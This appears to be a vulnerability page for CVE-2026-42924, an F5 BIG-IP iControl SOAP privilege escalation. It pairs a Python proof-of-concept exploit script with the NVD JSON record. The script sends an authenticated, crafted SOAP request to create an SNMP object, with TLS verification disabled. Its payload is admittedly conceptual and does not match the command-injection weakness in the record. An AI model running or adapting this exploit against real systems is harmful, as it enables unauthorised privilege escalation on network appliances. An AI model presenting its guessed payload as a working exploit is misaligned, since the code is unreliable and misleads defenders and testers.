CVE-2026-42924

#!/usr/bin/env python3 """ Conceptual Proof of Concept for CVE-2026-42924 Vulnerability: F5 BIG-IP iControl SOAP Privilege Escalation Description: This script demonstrates how an authenticated attacker might send a malicious SOAP request to create an SNMP configuration object. Note: For educational and authorized testing purposes only. """ import requests import xml.etree.ElementTree as ET # Target configuration TARGET_HOST = "https://<target-big-ip-ip>:443" USERNAME = "resource_admin" PASSWORD = "password" # iControl SOAP endpoint typically used for management SOAP_ENDPOINT = "/iControl/iControlPortal.cgi" def create_snmp_object_via_soap(): """ Sends a crafted SOAP request to create SNMP objects attempting privilege escalation. """ # Constructing the SOAP envelope # The specific method and namespace would depend on the exact iControl API version soap_headers = { 'Content-Type': 'text/xml; charset=utf-8', 'SOAPAction': '"urn:iControl:Management/SNMPConfiguration/create_object"' } # Malicious payload structure soap_body = f"""<?xml version="1.0" encoding="UTF-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="urn:iControl:Management/SNMPConfiguration"> <SOAP-ENV:Header> <ns1:AuthHeader> <ns1:Username>{USERNAME}</ns1:Username> <ns1:Password>{PASSWORD}</ns1:Password> </ns1:AuthHeader> </SOAP-ENV:Header> <SOAP-ENV:Body> <ns1:create_object> <!-- Manipulating SNMP object parameters to trigger escalation --> <ns1:snmp_configs> <ns1:oid>1.3.6.1.4.1.3375.2.100.1.2.9</ns1:oid> <ns1:community>public</ns1:community> <ns1:version>v2c</ns1:version> <!-- Injecting malicious configuration to exploit the logic flaw --> <ns1:allowed_addresses>0.0.0.0/0</ns1:allowed_addresses> </ns1:snmp_configs> </ns1:create_object> </SOAP-ENV:Body> </SOAP-ENV:Envelope> """ try: # Disable SSL verification warnings for testing (not recommended for prod) requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) print(f"[*] Sending exploit request to {TARGET_HOST}...") response = requests.post( f"{TARGET_HOST}{SOAP_ENDPOINT}", data=soap_body, headers=soap_headers, verify=False, timeout=10 ) if response.status_code == 200: print("[+] Request sent successfully. Check if privileges were escalated.") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": print("CVE-2026-42924 PoC - F5 BIG-IP iControl SOAP Privilege Escalation") create_snmp_object_via_soap()

{"cve": {"id": "CVE-2026-42924", "sourceIdentifier": "[email protected]", "published": "2026-05-13T16:16:49.517", "lastModified": "2026-05-13T16:27:11.127", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "An authenticated attacker with the Resource Administrator or Administrator role can create SNMP configuration objects through iControl SOAP resulting in privilege escalation.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://my.f5.com/manage/s/article/K000160926", "source": "[email protected]"}]}}